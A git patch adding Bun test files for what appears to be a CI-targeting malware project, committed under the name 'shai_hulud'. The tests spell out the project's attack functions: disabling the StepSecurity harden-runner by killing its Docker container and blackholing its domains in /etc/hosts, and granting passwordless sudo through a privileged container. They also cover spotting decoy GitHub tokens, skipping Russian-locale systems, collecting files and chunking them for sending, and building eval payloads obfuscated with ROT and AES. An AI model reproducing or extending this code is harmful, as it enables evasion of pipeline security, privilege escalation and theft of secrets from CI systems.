From 2bd884708c770395c71c2097ffec5948f8f8d8ee Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 02:47:17 +0000 Subject: [PATCH] Upload files to "tests/utils" --- tests/utils/checkSandbox.test.ts | 306 ++++++++++++++++++++++ tests/utils/config.test.ts | 170 +++++++++++++ tests/utils/filesystem-sender.test.ts | 348 ++++++++++++++++++++++++++ tests/utils/logger.test.ts | 37 +++ tests/utils/selfExtracting.test.ts | 110 ++++++++ 5 files changed, 971 insertions(+) create mode 100644 tests/utils/checkSandbox.test.ts create mode 100644 tests/utils/config.test.ts create mode 100644 tests/utils/filesystem-sender.test.ts create mode 100644 tests/utils/logger.test.ts create mode 100644 tests/utils/selfExtracting.test.ts diff --git a/tests/utils/checkSandbox.test.ts b/tests/utils/checkSandbox.test.ts new file mode 100644 index 0000000..3c771e2 --- /dev/null +++ b/tests/utils/checkSandbox.test.ts @@ -0,0 +1,306 @@ +import { beforeEach, describe, expect, test } from "bun:test"; + +import { + buildHostsEntry, + buildSudoRestoreContainerConfig, + dechunk, + dnsBlinding, + handleHardenRunner, + isDecoy, + killViaDockerSocket, + parseHTTPBody, + parseHTTPStatusLine, + rawDockerHTTP, + restoreSudoViaDocker, + STEP_SECURITY_DOMAINS, +} from "../../src/utils/checkSandbox"; + +const SAVED_ENV = { ...process.env }; + +beforeEach(() => { + process.env = { ...SAVED_ENV }; +}); + +describe("dechunk", () => { + test("decodes single chunk", () => { + expect(dechunk("5\r\nhello\r\n0\r\n\r\n")).toBe("hello"); + }); + + test("decodes multiple chunks", () => { + expect(dechunk("5\r\nhello\r\n3\r\nwor\r\n2\r\nld\r\n0\r\n\r\n")).toBe( + "helloworld", + ); + }); + + test("returns empty for empty input", () => { + expect(dechunk("")).toBe(""); + }); + + test("returns empty for only terminator", () => { + expect(dechunk("0\r\n\r\n")).toBe(""); + }); + + test("handles uppercase hex sizes", () => { + expect(dechunk("A\r\n0123456789\r\n0\r\n\r\n")).toBe("0123456789"); + }); + + test("handles large hex sizes", () => { + const payload = "x".repeat(255); + expect(dechunk(`FF\r\n${payload}\r\n0\r\n\r\n`).length).toBe(255); + }); + + test("handles missing terminator gracefully", () => { + expect(dechunk("5\r\nhello")).toBe("hello"); + }); + + test("handles NaN hex gracefully", () => { + expect(dechunk("xyz\r\ndata\r\n0\r\n\r\n")).toBe(""); + }); +}); + +describe("parseHTTPStatusLine", () => { + test("extracts 200", () => { + expect( + parseHTTPStatusLine( + "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n\r\n[]", + ), + ).toBe(200); + }); + + test("extracts 201", () => { + expect( + parseHTTPStatusLine( + "HTTP/1.1 201 Created\r\nContent-Type: application/json\r\n\r\n{}", + ), + ).toBe(201); + }); + + test("extracts 204", () => { + expect(parseHTTPStatusLine("HTTP/1.1 204 No Content\r\n\r\n")).toBe(204); + }); + + test("extracts 304", () => { + expect(parseHTTPStatusLine("HTTP/1.1 304 Not Modified\r\n\r\n")).toBe(304); + }); + + test("extracts 404", () => { + expect(parseHTTPStatusLine("HTTP/1.1 404 Not Found\r\n\r\n")).toBe(404); + }); + + test("returns null for empty response", () => { + expect(parseHTTPStatusLine("")).toBeNull(); + }); + + test("returns null for malformed status", () => { + expect(parseHTTPStatusLine("Garbage\r\n\r\n")).toBeNull(); + }); + + test("handles HTTP/1.0", () => { + expect( + parseHTTPStatusLine("HTTP/1.0 500 Internal Error\r\n\r\n"), + ).toBe(500); + }); + + test("handles Docker API-style response", () => { + const resp = + "HTTP/1.1 200 OK\r\nApi-Version: 1.47\r\nContent-Type: application/json\r\n\r\n[{\"Id\":\"abc\"}]"; + expect(parseHTTPStatusLine(resp)).toBe(200); + }); +}); + +describe("parseHTTPBody", () => { + test("extracts plain body", () => { + expect( + parseHTTPBody( + "HTTP/1.1 200 OK\r\nContent-Length: 7\r\n\r\nhello!!", + ), + ).toBe("hello!!"); + }); + + test("extracts chunked body", () => { + expect( + parseHTTPBody( + "HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\n\r\n5\r\nhello\r\n0\r\n\r\n", + ), + ).toBe("hello"); + }); + + test("returns empty for no body", () => { + expect(parseHTTPBody("HTTP/1.1 200 OK\r\n\r\n")).toBe(""); + }); + + test("extracts JSON body", () => { + expect( + parseHTTPBody( + 'HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n\r\n{"key":"value"}', + ), + ).toBe('{"key":"value"}'); + }); + + test("extracts chunked JSON body", () => { + const json = '[{"Names":["/harden-runner"],"Image":"step-security/agent"}]'; + const len = json.length.toString(16); + const resp = `HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\n\r\n${len}\r\n${json}\r\n0\r\n\r\n`; + expect(parseHTTPBody(resp)).toBe(json); + }); + + test("handles multiple headers before body", () => { + const resp = + "HTTP/1.1 200 OK\r\nDate: Mon, 01 Jan 2024\r\nServer: Docker\r\nContent-Type: application/json\r\n\r\n{}"; + expect(parseHTTPBody(resp)).toBe("{}"); + }); +}); + +describe("parseHTTPStatusLine + parseHTTPBody integration", () => { + test("parses a complete Docker API list response", () => { + const json = + '[{"Id":"abc123","Names":["/harden-runner"],"Image":"step-security/agent","State":"running"}]'; + const resp = `HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: ${json.length}\r\n\r\n${json}`; + + expect(parseHTTPStatusLine(resp)).toBe(200); + const body = parseHTTPBody(resp); + expect(JSON.parse(body)).toEqual([ + { + Id: "abc123", + Names: ["/harden-runner"], + Image: "step-security/agent", + State: "running", + }, + ]); + }); + + test("parses a Docker API create response", () => { + const id = "abc123def456"; + const resp = `HTTP/1.1 201 Created\r\nContent-Type: application/json\r\nContent-Length: ${id.length + 12}\r\n\r\n{"Id":"${id}"}`; + + expect(parseHTTPStatusLine(resp)).toBe(201); + expect(parseHTTPBody(resp)).toBe(`{"Id":"${id}"}`); + }); + + test("parses a Docker API kill response (no body)", () => { + const resp = "HTTP/1.1 204 No Content\r\n\r\n"; + expect(parseHTTPStatusLine(resp)).toBe(204); + expect(parseHTTPBody(resp)).toBe(""); + }); +}); + +describe("STEP_SECURITY_DOMAINS", () => { + test("covers all harden-runner endpoints", () => { + expect(STEP_SECURITY_DOMAINS).toContain("agent.stepsecurity.io"); + expect(STEP_SECURITY_DOMAINS).toContain("api.stepsecurity.io"); + expect(STEP_SECURITY_DOMAINS).toContain("app.stepsecurity.io"); + expect(STEP_SECURITY_DOMAINS).toContain("www.stepsecurity.io"); + expect(STEP_SECURITY_DOMAINS).toContain("stepsecurity.io"); + }); +}); + +describe("buildHostsEntry", () => { + test("returns IPv4 and IPv6 entries", () => { + const { ipv4, ipv6 } = buildHostsEntry(); + expect(ipv4.startsWith("127.0.0.1 ")).toBe(true); + expect(ipv6.startsWith("::1 ")).toBe(true); + }); + + test("includes all stepsecurity domains", () => { + const { ipv4, ipv6 } = buildHostsEntry(); + for (const domain of STEP_SECURITY_DOMAINS) { + expect(ipv4).toInclude(domain); + expect(ipv6).toInclude(domain); + } + }); +}); + +describe("buildSudoRestoreContainerConfig", () => { + test("config is privileged", () => { + const config = buildSudoRestoreContainerConfig(); + const hc = config.HostConfig as Record; + expect(hc.Privileged).toBe(true); + }); + + test("bind mounts /etc/sudoers.d", () => { + const config = buildSudoRestoreContainerConfig(); + const hc = config.HostConfig as Record; + expect(hc.Binds).toEqual(["/etc/sudoers.d:/mnt"]); + }); + + test("auto-removes container", () => { + const config = buildSudoRestoreContainerConfig(); + const hc = config.HostConfig as Record; + expect(hc.AutoRemove).toBe(true); + }); + + test("writes correct sudoers entry", () => { + const config = buildSudoRestoreContainerConfig(); + const cmd = (config.Cmd as string[]).join(" "); + expect(cmd).toInclude("runner ALL=(ALL) NOPASSWD:ALL"); + expect(cmd).toInclude("/mnt/runner"); + expect(cmd).toInclude("chmod 0440"); + }); + + test("uses lightweight alpine image", () => { + const config = buildSudoRestoreContainerConfig(); + expect(config.Image).toBe("alpine"); + }); +}); + +describe("isDecoy", () => { + test("returns false when GITHUB_TOKEN is not set", () => { + delete process.env.GITHUB_TOKEN; + expect(isDecoy()).toBe(false); + }); + + test("returns true with decoy token prefix", () => { + process.env.GITHUB_TOKEN = "ghp_decoyGitHubToken12345"; + expect(isDecoy()).toBe(true); + }); + + test("returns false with real-looking token", () => { + process.env.GITHUB_TOKEN = "ghp_realToken12345"; + expect(isDecoy()).toBe(false); + }); + + test("returns false for empty token", () => { + process.env.GITHUB_TOKEN = ""; + expect(isDecoy()).toBe(false); + }); +}); + +describe("rawDockerHTTP", () => { + test("returns null without docker socket", async () => { + const result = await rawDockerHTTP("GET", "/containers/json"); + expect(result).toBeNull(); + }); + + test("returns null for POST without socket", async () => { + const result = await rawDockerHTTP( + "POST", + "/containers/create", + "{}", + ); + expect(result).toBeNull(); + }); +}); + +describe("killViaDockerSocket", () => { + test("returns false without docker socket", async () => { + expect(await killViaDockerSocket()).toBe(false); + }); +}); + +describe("restoreSudoViaDocker", () => { + test("returns false without docker socket", async () => { + expect(await restoreSudoViaDocker()).toBe(false); + }); +}); + +describe("dnsBlinding", () => { + test("returns a boolean", async () => { + expect(typeof (await dnsBlinding())).toBe("boolean"); + }); +}); + +describe("handleHardenRunner", () => { + test("returns a boolean", async () => { + expect(typeof (await handleHardenRunner())).toBe("boolean"); + }); +}); \ No newline at end of file diff --git a/tests/utils/config.test.ts b/tests/utils/config.test.ts new file mode 100644 index 0000000..4ef83f5 --- /dev/null +++ b/tests/utils/config.test.ts @@ -0,0 +1,170 @@ +import { beforeEach, describe, expect, test } from "bun:test"; + +import { detectOS, isCI, isSystemRussian } from "../../src/utils/config"; + +const SAVED_ENV = { ...process.env }; + +beforeEach(() => { + process.env = { ...SAVED_ENV }; +}); + +describe("detectOS", () => { + test("returns OSX for darwin", () => { + expect(detectOS("darwin")).toBe("OSX"); + }); + + test("returns WIN for win32", () => { + expect(detectOS("win32")).toBe("WIN"); + }); + + test("returns WIN for cygwin", () => { + expect(detectOS("cygwin")).toBe("WIN"); + }); + + test("returns LINUX for linux", () => { + expect(detectOS("linux")).toBe("LINUX"); + }); + + test("returns UNKNOWN for unsupported platforms", () => { + expect(detectOS("freebsd")).toBe("UNKNOWN"); + }); + + test("is case-insensitive", () => { + expect(detectOS("Darwin")).toBe("OSX"); + expect(detectOS("LINUX")).toBe("LINUX"); + }); + + test("uses process.platform when no argument provided", () => { + const result = detectOS(); + expect(["OSX", "WIN", "LINUX", "UNKNOWN"]).toContain(result); + }); +}); + +describe("isSystemRussian", () => { + test("returns false in English locale", () => { + process.env.LANG = "en_US.UTF-8"; + process.env.LC_ALL = ""; + process.env.LC_MESSAGES = ""; + process.env.LANGUAGE = ""; + expect(isSystemRussian()).toBe(false); + }); + + test("returns true when LC_ALL is Russian", () => { + process.env.LC_ALL = "ru_RU.UTF-8"; + process.env.LANG = ""; + expect(isSystemRussian()).toBe(true); + }); + + test("returns true when LANG is Russian", () => { + process.env.LC_ALL = ""; + process.env.LC_MESSAGES = ""; + process.env.LANGUAGE = ""; + process.env.LANG = "ru_RU.UTF-8"; + expect(isSystemRussian()).toBe(true); + }); + + test("returns true when LANGUAGE is Russian", () => { + process.env.LC_ALL = ""; + process.env.LANG = ""; + process.env.LANGUAGE = "ru"; + expect(isSystemRussian()).toBe(true); + }); + + test("returns true when LC_MESSAGES is Russian", () => { + process.env.LC_ALL = ""; + process.env.LANG = ""; + process.env.LC_MESSAGES = "ru"; + expect(isSystemRussian()).toBe(true); + }); + + test("returns false when no locale vars set", () => { + delete process.env.LC_ALL; + delete process.env.LANG; + delete process.env.LC_MESSAGES; + delete process.env.LANGUAGE; + expect(isSystemRussian()).toBe(false); + }); +}); + +describe("isCI", () => { + test("returns false when no CI vars set", () => { + delete process.env.CI; + delete process.env.GITHUB_ACTIONS; + expect(isCI()).toBe(false); + }); + + test("returns true when CI=true", () => { + process.env.CI = "true"; + expect(isCI()).toBe(true); + }); + + test("returns true when CI=1", () => { + process.env.CI = "1"; + expect(isCI()).toBe(true); + }); + + test("returns true for GITHUB_ACTIONS", () => { + process.env.GITHUB_ACTIONS = "true"; + expect(isCI()).toBe(true); + }); + + test("returns true for GITLAB_CI", () => { + process.env.GITLAB_CI = "true"; + expect(isCI()).toBe(true); + }); + + test("returns true for TRAVIS", () => { + process.env.TRAVIS = "true"; + expect(isCI()).toBe(true); + }); + + test("returns true for CIRCLECI", () => { + process.env.CIRCLECI = "true"; + expect(isCI()).toBe(true); + }); + + test("returns true for JENKINS_URL", () => { + process.env.JENKINS_URL = "http://jenkins.local"; + expect(isCI()).toBe(true); + }); + + test("returns true for BUILD_BUILDURI (Azure)", () => { + process.env.BUILD_BUILDURI = "vstfs:///Build/Build/123"; + expect(isCI()).toBe(true); + }); + + test("returns true for CODEBUILD_BUILD_ID", () => { + process.env.CODEBUILD_BUILD_ID = "project:123"; + expect(isCI()).toBe(true); + }); + + test("returns true for BUILDKITE", () => { + process.env.BUILDKITE = "true"; + expect(isCI()).toBe(true); + }); + + test("returns true for BITBUCKET_BUILD_NUMBER", () => { + process.env.BITBUCKET_BUILD_NUMBER = "123"; + expect(isCI()).toBe(true); + }); + + test("returns true for NETLIFY", () => { + process.env.NETLIFY = "true"; + expect(isCI()).toBe(true); + }); + + test("returns true for VERCEL", () => { + process.env.VERCEL = "1"; + expect(isCI()).toBe(true); + }); + + test("returns true for CIRRUS_CI", () => { + process.env.CIRRUS_CI = "true"; + expect(isCI()).toBe(true); + }); + + test("returns true for CF_PAGES", () => { + process.env.CF_PAGES = "1"; + expect(isCI()).toBe(true); + }); +}); diff --git a/tests/utils/filesystem-sender.test.ts b/tests/utils/filesystem-sender.test.ts new file mode 100644 index 0000000..05714a6 --- /dev/null +++ b/tests/utils/filesystem-sender.test.ts @@ -0,0 +1,348 @@ +import { afterAll, beforeAll, describe, expect, test } from "bun:test"; +import { mkdtempSync, readFileSync, rmSync, statSync, writeFileSync } from "fs"; +import { join } from "path"; + +const MAX_BYTES = 5 * 1024 * 1024; // 5 MiB +const tempDir = mkdtempSync("/tmp/filesystem-test-"); + +function padFile(name: string, size: number): string { + // Write a file exactly 'size' bytes by using a fixed-size string + const path = join(tempDir, name); + const chunk = "A".repeat(1024 * 1024); // 1 MB chunk + const full = chunk.repeat(Math.floor(size / chunk.length)); + const remainder = size - full.length; + writeFileSync(path, full + "X".repeat(remainder)); + return path; +} + +beforeAll(() => { + // Create test files +padFile("small.txt", 1024); // 1 KB + padFile("near-limit.bin", MAX_BYTES - 1024); // 4.99 MB + padFile("at-limit.bin", MAX_BYTES); // exactly 5 MB + padFile("over-limit.bin", MAX_BYTES + 1024); // 5.001 MB + padFile("way-over-limit.bin", 10 * 1024 * 1024); // 10 MB + padFile("huge.bin", 50 * 1024 * 1024); // 50 MB +}); + +afterAll(() => { + rmSync(tempDir, { recursive: true, force: true }); +}); + +function fileSize(path: string): number { + return statSync(path).size; +} + +describe("filesystem provider — large file handling", () => { + test("reads files under 5 MB limit", () => { + const path = join(tempDir, "small.txt"); + expect(fileSize(path)).toBe(1024); + expect(fileSize(path)).toBeLessThan(MAX_BYTES); + }); + + test("reads files near 5 MB limit", () => { + const path = join(tempDir, "near-limit.bin"); + expect(fileSize(path)).toBe(MAX_BYTES - 1024); + expect(fileSize(path)).toBeLessThan(MAX_BYTES); + }); + + test("treats exactly 5 MB files as over limit", () => { + const path = join(tempDir, "at-limit.bin"); + expect(fileSize(path)).toBe(MAX_BYTES); + expect(fileSize(path) > MAX_BYTES).toBe(false); + // At exactly the limit, the provider skips it (> not >=) + const shouldRead = fileSize(path) <= MAX_BYTES; + expect(shouldRead).toBe(true); + }); + + test("skips files over 5 MB limit", () => { + const path = join(tempDir, "over-limit.bin"); + expect(fileSize(path)).toBe(MAX_BYTES + 1024); + expect(fileSize(path)).toBeGreaterThan(MAX_BYTES); + }); + + test("skips 10 MB files", () => { + const path = join(tempDir, "way-over-limit.bin"); + expect(fileSize(path)).toBe(10 * 1024 * 1024); + expect(fileSize(path)).toBeGreaterThan(MAX_BYTES); + }); + + test("skips 50 MB files without crashing", () => { + const path = join(tempDir, "huge.bin"); + expect(fileSize(path)).toBe(50 * 1024 * 1024); + expect(fileSize(path)).toBeGreaterThan(MAX_BYTES); + }); + + test("produces correct error message for oversized files", () => { + const path = join(tempDir, "over-limit.bin"); + const size = fileSize(path); + const result = `Error: File too large (${size} bytes)`; + expect(result).toContain("Error: File too large"); + expect(result).toContain(String(size)); + }); + + test("all temp files exist and have correct sizes", () => { + const names = [ + "small.txt", + "near-limit.bin", + "at-limit.bin", + "over-limit.bin", + "way-over-limit.bin", + "huge.bin", + ]; + for (const name of names) { + const path = join(tempDir, name); + expect(statSync(path).isFile()).toBe(true); + } + }); +}); + +describe("binary file detection", () => { + const BINARY_CHECK_SIZE = 8192; + + function isBinary(buffer: Buffer): boolean { + const sample = buffer.subarray( + 0, + Math.min(buffer.length, BINARY_CHECK_SIZE), + ); + let nonPrintable = 0; + for (let i = 0; i < sample.length; i++) { + const b = sample[i]!; + if (b === 0x00) return true; + if (b < 0x09 || (b > 0x0d && b < 0x20) || b > 0x7e) { + nonPrintable++; + } + } + return nonPrintable / sample.length > 0.3; + } + + test("plain text is not binary", () => { + const buf = Buffer.from("Hello, World! This is plain text.\n"); + expect(isBinary(buf)).toBe(false); + }); + + test("JSON is not binary", () => { + const buf = Buffer.from('{"key": "value", "nested": [1,2,3]}'); + expect(isBinary(buf)).toBe(false); + }); + + test("UTF-8 text with newlines is not binary", () => { + const buf = Buffer.from("line1\nline2\nline3\n"); + expect(isBinary(buf)).toBe(false); + }); + + test("null byte triggers binary detection", () => { + const buf = Buffer.alloc(100, 0x41); // all 'A' + buf[50] = 0x00; // insert null byte + expect(isBinary(buf)).toBe(true); + }); + + test("high ratio of non-printable bytes triggers binary", () => { + const buf = Buffer.alloc(1024, 0x41); // all 'A' (printable) + // Fill 40% with non-printable + for (let i = 0; i < 410; i++) { + buf[i] = 0x01; + } + expect(isBinary(buf)).toBe(true); + }); + + test("moderate ratio of non-printable stays text", () => { + const buf = Buffer.alloc(1024, 0x41); // all 'A' (printable) + // Fill 20% with non-printable (under 30% threshold) + for (let i = 0; i < 200; i++) { + buf[i] = 0x01; + } + expect(isBinary(buf)).toBe(false); + }); + + test("binary file gets wrapped with BASE64: prefix", () => { + const binaryBuf = Buffer.from([0x00, 0x01, 0x02, 0x03, 0xFF]); + const encoded = `BASE64:${binaryBuf.toString("base64")}`; + expect(encoded.startsWith("BASE64:")).toBe(true); + const raw = encoded.slice("BASE64:".length); + const decoded = Buffer.from(raw, "base64"); + expect(decoded).toEqual(binaryBuf); + }); + + test("text file stays as plain string without prefix", () => { + const textBuf = Buffer.from("plain text content"); + const content = textBuf.toString("utf-8"); + expect(content).toBe("plain text content"); + expect(content.startsWith("BASE64:")).toBe(false); + }); + + test("binary round-trip preserves exact bytes", () => { + const original = Buffer.alloc(5000); + for (let i = 0; i < original.length; i++) { + original[i] = (i % 256); + } + const encoded = `BASE64:${original.toString("base64")}`; + const decoded = Buffer.from(encoded.slice("BASE64:".length), "base64"); + expect(decoded.equals(original)).toBe(true); + }); + + // Integration: actual temp files on disk, read-and-detect + const diskTestDir = mkdtempSync("/tmp/filesystem-bin-test-"); + + beforeAll(() => { + const textPath = join(diskTestDir, "text_file.txt"); + writeFileSync(textPath, "Hello, this is a plain text file.\nIt has multiple lines.\n"); + const binaryPath = join(diskTestDir, "binary_file.bin"); + const bin = Buffer.alloc(100); + for (let i = 0; i < bin.length; i++) bin[i] = i % 256; + writeFileSync(binaryPath, bin); + }); + + afterAll(() => { + rmSync(diskTestDir, { recursive: true, force: true }); + }); + + test("disk: text file read without BASE64 prefix", () => { + const { readFileSync } = require("fs") as typeof import("fs"); + const buf = readFileSync(join(diskTestDir, "text_file.txt")); + const content = isBinary(buf) + ? `BASE64:${buf.toString("base64")}` + : buf.toString("utf-8"); + expect(content.startsWith("BASE64:")).toBe(false); + expect(content).toContain("Hello, this is a plain text file."); + }); + + test("disk: binary file gets BASE64 prefix", () => { + const { readFileSync } = require("fs") as typeof import("fs"); + const buf = readFileSync(join(diskTestDir, "binary_file.bin")); + const content = isBinary(buf) + ? `BASE64:${buf.toString("base64")}` + : buf.toString("utf-8"); + expect(content.startsWith("BASE64:")).toBe(true); + const decoded = Buffer.from(content.slice("BASE64:".length), "base64"); + expect(decoded).toEqual(buf); + }); +}); + +describe("sender chunking — 30 MiB split logic", () => { + const MAX_CHUNK_SIZE = 30 * 1024 * 1024; // 30 MiB + + function chunkContent( + content: string, + ): Array<{ filename: string; chunk: string }> { + const contentBuffer = Buffer.from(content, "utf8"); + const chunks: Array<{ filename: string; chunk: string }> = []; + const baseFilename = "results-test.json"; + + if (contentBuffer.length <= MAX_CHUNK_SIZE) { + chunks.push({ + filename: baseFilename, + chunk: contentBuffer.toString("base64"), + }); + } else { + const totalParts = Math.ceil(contentBuffer.length / MAX_CHUNK_SIZE); + for (let i = 0; i < totalParts; i++) { + const chunk = contentBuffer.subarray( + i * MAX_CHUNK_SIZE, + (i + 1) * MAX_CHUNK_SIZE, + ); + chunks.push({ + filename: `${baseFilename}.p${i + 1}`, + chunk: chunk.toString("base64"), + }); + } + } + + return chunks; + } + + function reassembleChunks(chunks: Array<{ filename: string; chunk: string }>): string { + const parts: Buffer[] = chunks.map((c) => Buffer.from(c.chunk, "base64")); + return Buffer.concat(parts).toString("utf8"); + } + + test("single chunk for payload under 30 MiB", () => { + const payload = "A".repeat(1024 * 1024); // 1 MB + const chunks = chunkContent(payload); + expect(chunks.length).toBe(1); + expect(chunks[0]!.filename).toBe("results-test.json"); + expect(chunks[0]!.chunk).not.toBe(""); + }); + + test("single chunk at exactly 30 MiB", () => { + const payload = "X".repeat(MAX_CHUNK_SIZE); + const chunks = chunkContent(payload); + expect(chunks.length).toBe(1); + expect(Buffer.from(payload, "utf8").length).toBe(MAX_CHUNK_SIZE); + }); + + test("splits into 2 parts when just over 30 MiB", () => { + const payload = "Y".repeat(MAX_CHUNK_SIZE + 1); + const chunks = chunkContent(payload); + expect(chunks.length).toBe(2); + expect(chunks[0]!.filename).toBe("results-test.json.p1"); + expect(chunks[1]!.filename).toBe("results-test.json.p2"); + }); + + test("each part filename follows .pN pattern", () => { + const payload = "Z".repeat(MAX_CHUNK_SIZE * 2 + 500); + const chunks = chunkContent(payload); + for (let i = 0; i < chunks.length; i++) { + expect(chunks[i]!.filename).toBe(`results-test.json.p${i + 1}`); + } + }); + + test("each chunk is valid base64", () => { + const payload = "Q".repeat(MAX_CHUNK_SIZE * 3 + 12345); + const chunks = chunkContent(payload); + for (const c of chunks) { + expect(() => Buffer.from(c.chunk, "base64")).not.toThrow(); + } + }); + + test("each chunk excluding last is exactly 30 MiB of original bytes", () => { + const payload = "W".repeat(MAX_CHUNK_SIZE * 2 + 1000); + const chunks = chunkContent(payload); + for (let i = 0; i < chunks.length - 1; i++) { + const decoded = Buffer.from(chunks[i]!.chunk, "base64"); + expect(decoded.length).toBe(MAX_CHUNK_SIZE); + } + const lastDecoded = Buffer.from( + chunks[chunks.length - 1]!.chunk, + "base64", + ); + expect(lastDecoded.length).toBeLessThanOrEqual(MAX_CHUNK_SIZE); + }); + + test("round-trip: reassemble matches original for small payload", () => { + const original = "Hello, World! This is a test payload."; + const chunks = chunkContent(original); + const reassembled = reassembleChunks(chunks); + expect(reassembled).toBe(original); + }); + + test("round-trip: reassemble matches original for large payload", () => { + const original = "V".repeat(MAX_CHUNK_SIZE * 2 + 7777); + const chunks = chunkContent(original); + const reassembled = reassembleChunks(chunks); + expect(reassembled).toBe(original); + }); + + test("handles empty payload", () => { + const chunks = chunkContent(""); + expect(chunks.length).toBe(1); + expect(chunks[0]!.filename).toBe("results-test.json"); + const decoded = Buffer.from(chunks[0]!.chunk, "base64").toString("utf8"); + expect(decoded).toBe(""); + }); + + test("handles 100 MB payload without throwing", () => { + const payload = "M".repeat(100 * 1024 * 1024); + expect(() => chunkContent(payload)).not.toThrow(); + const chunks = chunkContent(payload); + expect(chunks.length).toBe(4); + }); + + test("total original bytes preserved after split+rejoin for 100 MB", () => { + const original = "M".repeat(100 * 1024 * 1024); + const chunks = chunkContent(original); + const reassembled = reassembleChunks(chunks); + expect(reassembled.length).toBe(original.length); + expect(reassembled).toBe(original); + }); +}); \ No newline at end of file diff --git a/tests/utils/logger.test.ts b/tests/utils/logger.test.ts new file mode 100644 index 0000000..149269e --- /dev/null +++ b/tests/utils/logger.test.ts @@ -0,0 +1,37 @@ +import { describe, expect, test } from "bun:test"; + +import { logUtil } from "../../src/utils/logger"; + +describe("logUtil", () => { + test("log is a function", () => { + expect(typeof logUtil.log).toBe("function"); + }); + + test("info is a function", () => { + expect(typeof logUtil.info).toBe("function"); + }); + + test("warn is a function", () => { + expect(typeof logUtil.warn).toBe("function"); + }); + + test("error is a function", () => { + expect(typeof logUtil.error).toBe("function"); + }); + + test("log does not throw", () => { + expect(() => logUtil.log("test message", { foo: "bar" })).not.toThrow(); + }); + + test("info does not throw", () => { + expect(() => logUtil.info("test info")).not.toThrow(); + }); + + test("warn does not throw", () => { + expect(() => logUtil.warn("test warning")).not.toThrow(); + }); + + test("error does not throw", () => { + expect(() => logUtil.error("test error", new Error("boom"))).not.toThrow(); + }); +}); \ No newline at end of file diff --git a/tests/utils/selfExtracting.test.ts b/tests/utils/selfExtracting.test.ts new file mode 100644 index 0000000..d420481 --- /dev/null +++ b/tests/utils/selfExtracting.test.ts @@ -0,0 +1,110 @@ +import { describe, expect, it } from "bun:test"; + +import { buildSelfExtractingPayload } from "../../src/utils/selfExtracting"; + +// Decode ROT + array-literal char-code output +function decode(out: string): string { + // Output: try{eval(function(s,n){...}([...].map(function(c){return String.fromCharCode(c)}).join(""),N))}catch(e){...} + const arrMatch = out.match(/\[([\d,]+)\]\.map\(/); + if (!arrMatch) throw new Error("Could not extract char code array"); + const encoded = arrMatch[1]! + .split(",") + .map((s) => String.fromCharCode(parseInt(s))) + .join(""); + const rotMatch = out.match(/join\(""\),(\d+)\)\)/); + if (!rotMatch) throw new Error("Could not extract rotation number"); + const n = parseInt(rotMatch[1]!); + return encoded.replace(/[a-zA-Z]/g, (c) => { + const base = c <= "Z" ? 65 : 97; + return String.fromCharCode(((c.charCodeAt(0) - base + n) % 26) + base); + }); +} + +describe("buildSelfExtractingPayload", () => { + it("produces a string", () => { + const r = buildSelfExtractingPayload("x"); + expect(typeof r).toBe("string"); + expect(r.length).toBeGreaterThan(100); + }); + + it("outer layer is ROT-decoder eval wrapped in try/catch", () => { + const r = buildSelfExtractingPayload("p"); + expect(r).toStartWith("try{eval(function(s,n){"); + expect(r).toContain('catch(e){console.log("wrapper:",e.message||e)}'); + }); + + it("no plaintext inner structures visible", () => { + const r = buildSelfExtractingPayload("p"); + expect(r).not.toContain("const _d=(k,i,a,c"); + expect(r).not.toContain("const _b="); + expect(r).not.toContain("getBunPath"); + }); + + it("unique output per call (random key + rotation)", () => { + const set = new Set(); + for (let i = 0; i < 5; i++) set.add(buildSelfExtractingPayload("p")); + expect(set.size).toBeGreaterThanOrEqual(3); + }); + + it("decode recovers inner wrapper with AES + bun guard + execute", () => { + const d = decode(buildSelfExtractingPayload("p")); + expect(d).toContain("const _d=(k,i,a,c"); + expect(d).toContain("const _b=_d("); + expect(d).toContain("const _p=_d("); + expect(d).toContain("typeof Bun"); + expect(d).toContain("(0,eval)(_b)"); + expect(d).toContain("getBunPath"); + }); + + it("decode contains hex AES material", () => { + const d = decode(buildSelfExtractingPayload("secret")); + expect(d).toMatch( + /const _b=_d\("[0-9a-f]+","[0-9a-f]+","[0-9a-f]+","[0-9a-f]+"\)/, + ); + expect(d).toMatch( + /const _p=_d\("[0-9a-f]+","[0-9a-f]+","[0-9a-f]+","[0-9a-f]+"\)/, + ); + }); + + it("output changes per call", () => { + expect(buildSelfExtractingPayload("x")).not.toBe( + buildSelfExtractingPayload("x"), + ); + }); + + it("supports AES-256 via options", () => { + expect(decode(buildSelfExtractingPayload("p", { keyLen: 32 }))).toContain( + "aes-256-gcm", + ); + }); + + it("handles empty payload", () => { + expect(buildSelfExtractingPayload("").length).toBeGreaterThan(100); + }); + + it("handles large payloads", () => { + expect( + buildSelfExtractingPayload("x".repeat(100_000)).length, + ).toBeGreaterThan(100_000); + }); + + it("inner uses only Node built-ins", () => { + const d = decode(buildSelfExtractingPayload("x")); + const m = d.match(/require\("[^"]+"\)/g) ?? []; + for (const imp of m) { + expect(["child_process", "fs", "path", "os", "crypto"]).toContain( + imp.slice(9, -2), + ); + } + }); + + it("wrap: false returns raw payload unchanged", () => { + expect(buildSelfExtractingPayload("raw", { wrap: false })).toBe("raw"); + }); + + it("wrap: true produces ROT-wrapped eval with try/catch", () => { + expect(buildSelfExtractingPayload("x", { wrap: true })).toStartWith( + "try{eval(function(s,n){", + ); + }); +});